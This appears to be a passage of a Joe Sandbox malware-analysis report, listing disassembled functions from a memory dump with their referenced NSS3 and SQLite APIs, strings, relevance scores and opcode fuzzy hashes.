Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e7382b6954749696f2f46bf7b88841eae95e534348012302a9d8ec2f6f78bfc3
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: E5112BB5F442015BF7009A65AC00B9B7398AF9575CF14C234E80A9BB40FB61E918C2AE

Function 6C6FCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FD086
PR_Malloc.NSS3(00000001), ref: 6C6FD0B9
PR_Free.NSS3(?), ref: 6C6FD138

Strings

>, xrefs: 6C6FCF5B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 9f136239c92f6060b0a4264c1e5fa69a254ed621daefe22083f82341521c6db5
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 6FD17C62B455460FFB249C7C8CA13EAB7939783378F584329D5328BBE5E619D843C349

Function 6C57AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0ol, xrefs: 6C57ACC0, 6C57AD22, 6C57AD5E, 6C57AE45
winUnlockReadLock, xrefs: 6C57AE9F
Pol, xrefs: 6C57ADDB, 6C57ADF5, 6C57AE6A
winUnlock, xrefs: 6C57AE18
pol, xrefs: 6C57ADA7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: 0ol$Pol$pol$winUnlock$winUnlockReadLock
API String ID: 0-179245367
Opcode ID: 7a5a5954ffac65afc722e53a851eb9dce361dd47de287be4b6c809970f384fa2
Instruction ID: b432867567c4242f968ebda2b3f3f88799fc5cec43a8b9f092853b41361fb3b4
Opcode Fuzzy Hash: 7a5a5954ffac65afc722e53a851eb9dce361dd47de287be4b6c809970f384fa2
Instruction Fuzzy Hash: 7071AD70608204EBDB14CF28D884AAABBF5FF89308F14CA29F95997251D730ED85CBD1

Function 6C69AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aec76a167fa8c52da968299b23b2a9a40e572c3c1612258ddcc55e78ec047f6
Instruction ID: 72b006b39a34bae35674885301e6e1512fed89625f83122927501927b74b5a1b
Opcode Fuzzy Hash: 6aec76a167fa8c52da968299b23b2a9a40e572c3c1612258ddcc55e78ec047f6
Instruction Fuzzy Hash: EDF1F171F0121A8BDB24DF28D9843A977F0AB8A309F25823EC909D7754EB749D55CBC4

Function 6C68DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C565001,?,00000003,00000000), ref: 6C68DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C565001,?), ref: 6C68E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C565001,?), ref: 6C68E2DA

Strings

W, xrefs: 6C68E111

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 3de5c00141ace8beba64a461dc6cf926276ede9c0c16ca129167ade2213e5b33
Instruction ID: ed332f25792da673b994022638ed42a0678c53b709aca45f7a1d2af4676ca626
Opcode Fuzzy Hash: 3de5c00141ace8beba64a461dc6cf926276ede9c0c16ca129167ade2213e5b33
Instruction Fuzzy Hash: C7C13B39B062568BDB04CE65C4907EA77B2BF86308F284579DDA89BB41D7319C01C7F8

Function 6C650E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C651052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C651086

Strings

h(el, xrefs: 6C650E55, 6C650EC4, 6C650F3A, 6C650FA7
h(el, xrefs: 6C651062, 6C65105D, 6C650F37, 6C651081, 6C651082

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(el$h(el
API String ID: 1297977491-765071731
Opcode ID: 551bf19eed03bf5e1693bfc37747edd4b5bf3df8c60e9a5a19f8dc7555aeb65c
Instruction ID: 6029ef8423387bf1c2fec7dba18149e05373ea4505e0aa97c3d6717c049b4148
Opcode Fuzzy Hash: 551bf19eed03bf5e1693bfc37747edd4b5bf3df8c60e9a5a19f8dc7555aeb65c
Instruction Fuzzy Hash: E9A15071B0125A9FCF08CF99C890AEEBBB6BF4D318B648129E915A7700D735EC11CB94

Function 6C574DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0ol, xrefs: 6C574EDE, 6C574F82
winUnlockReadLock, xrefs: 6C575125
Pol, xrefs: 6C575019, 6C5750FA, 6C575157, 6C5751DE, 6C5751F2, 6C57520D, 6C575220, 6C5752A2, 6C5752B5
pol, xrefs: 6C574E1C, 6C574E81, 6C574FDE, 6C575047, 6C5750BB, 6C5751A3, 6C57526C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: 0ol$Pol$pol$winUnlockReadLock
API String ID: 0-2049616274
Opcode ID: 5a58c78804833f6d596f165330c7d32a27e5b76c6b6dbe80d049b255380fe7a1
Instruction ID: a5bb2e8e23eef50fe241b3a0fcbe61cbd3a5f51aa275e94d44110b68ff821e72
Opcode Fuzzy Hash: 5a58c78804833f6d596f165330c7d32a27e5b76c6b6dbe80d049b255380fe7a1
Instruction Fuzzy Hash: F8E12A70A18344CFDB14DF28D88865ABBF0BF89319F518A2DF89997351E7309985CF92

Function 6C576F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C577067
sz=[0-9]*, xrefs: 6C577049
*?[, xrefs: 6C577034, 6C577052, 6C577070
unordered*, xrefs: 6C57702B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: e02f83fe4181504b1d136bc447e367c93cd5d5aa7c45e270398824541d3e275b
Instruction ID: 7b28d5bfe45d022b8e89e2d61a7734b8ff8a436db64e4d9cb1e4d2a47d58305d
Opcode Fuzzy Hash: e02f83fe4181504b1d136bc447e367c93cd5d5aa7c45e270398824541d3e275b
Instruction Fuzzy Hash: FC718C32F002154BEB31CE6DDC8039A77A2DF81354F250279C965ABBC1EA719C86CBE1

Function 6C593EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C593FAA, 6C594185
sqlite_master, xrefs: 6C59463F
sqlite_temp_master, xrefs: 6C59460F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 1e43bb28417aba89981cb76e79104a191660c3a41600049f2b8bd2753dee4205
Instruction ID: 4f69159c7fbe83849213a5894cfd95561990b093bf2979e65522c157d263062e
Opcode Fuzzy Hash: 1e43bb28417aba89981cb76e79104a191660c3a41600049f2b8bd2753dee4205
Instruction Fuzzy Hash: B0226730A491D58FD704CB6988606B6BBF3AF46318B6C59E8C9F59FE52C726EC41C780

Function 6C6CBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C6CC0B6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 509078e966c5dcc66cd8c1d9d1c4b835fc656761730cedb6e3cb15cede9d8ea1
Instruction ID: 18a07b89f9b30b785037c9d6bc513c8c381ef26f5e84640f29c9e1a0f4ee656c
Opcode Fuzzy Hash: 509078e966c5dcc66cd8c1d9d1c4b835fc656761730cedb6e3cb15cede9d8ea1
Instruction Fuzzy Hash: 06928E70B002499FDB05DF99C890BAEB7B2FF88308F284169D416A7B91D736EC46CB55

Function 6C563D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C563EA9

Strings

0, xrefs: 6C563DAB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 411412d9e55afe9bab141523a594e9da8bc98efde1798ce8bfd995f9f850b22e
Instruction ID: d62d8f54151e1d914834536955b28e4610f78849e77c6fd593bc56582fb9b3ad
Opcode Fuzzy Hash: 411412d9e55afe9bab141523a594e9da8bc98efde1798ce8bfd995f9f850b22e
Instruction Fuzzy Hash: 99511731A490798AEB15867ECC603FFBBB19B83324F19432AC5A567EE0D6244D4987B0

Function 6C60EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C60F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C60F0F9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: ecdc9a45bcae7a617e25267a3106bb23ee59bfc2812294fc2552dccabff5b761
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: F791AF71B0121A8BCB18CF68C9A06AEB7F1FF85324F24472DD962A7BC0D730A905CB55

Function 6C632F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C657929), ref: 6C632FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C657929), ref: 6C632FE0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 76fcb0102213d6a47729dfb5907238cc3e475fd9287f484f4dc560e0666ba7cf
Instruction ID: 509a97d662dd4d609fe932a51d4cb71fe574d9b170c6f26f91e6009b07621427
Opcode Fuzzy Hash: 76fcb0102213d6a47729dfb5907238cc3e475fd9287f484f4dc560e0666ba7cf
Instruction Fuzzy Hash: F351F171A049318FD7008E59C880BAA73B1EF45328F297239D90D9BB12C739E947CB99

Function 6C63ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C63EE3D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: cc5d62653fbbb9b9e0f1dec262f5daf140f66a59727fc36a7daa515487e5d07c
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2871E372E01B118BD718CF19C8806AAB7F2ABC8304F14A62DD85A97B91D770ED01CBA5

Function 6C565F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C566013

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 0fe3f1c613d08d3615bd0b8d13d51f1c325209a35fc13b98de280ecbf4020ef1
Instruction ID: 585e6c95135d08d635f0d02000a34d894c0f987d16b323c94d47e090ac79141e
Opcode Fuzzy Hash: 0fe3f1c613d08d3615bd0b8d13d51f1c325209a35fc13b98de280ecbf4020ef1
Instruction Fuzzy Hash: 5AC1E6B0B446068BDB04CE17CC507AABBF2AF85318F648269D9A5D7F62DB31EC41C791

Function 6C6F5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C6F5B90: PR_Lock.NSS3(00010000,?,00000000,?,6C5DDF9B), ref: 6C6F5B9E
Part of subcall function 6C6F5B90: PR_Unlock.NSS3 ref: 6C6F5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C6F5E23,6C5DE154), ref: 6C6F5EBF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: e23cb439f0aaac1e0667b8c59dba04fb01b7f5e6a6ee237b3a2d8f0eb21274f2
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 0C518D72E0021A8BDB18CF59C8815AEF7B2FF98318B19856DD815B7745D730A942CBA0

Function 6C6ADCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437fe251a6c9fa051f1a237de3647b2ffbec30043ce108ce08e487ba253c3c58
Instruction ID: 70704adaea5c96f11f94ad26bf83f77011e6ad07fe38f33711ea5c7fb76cda1b
Opcode Fuzzy Hash: 437fe251a6c9fa051f1a237de3647b2ffbec30043ce108ce08e487ba253c3c58
Instruction Fuzzy Hash: 61F15871A01205CFDB08CF59D484BAA77B2BF89318F298169DC099B751CB35EC53CBA5

Function 6C641DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 611342ee9f70a09a84c0c168a3af6280f19e209ab3c69f00bb7458537d0bdd7d
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 4FD16972E096568BDB118E18C8843DA7B63AB85328F2DC328CD745B7C6C37B9916C7D4

Function 6C5D8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9659b928c85585fad14664047c0bd07ef1c489419371cb6ae2b6b1259638cb22
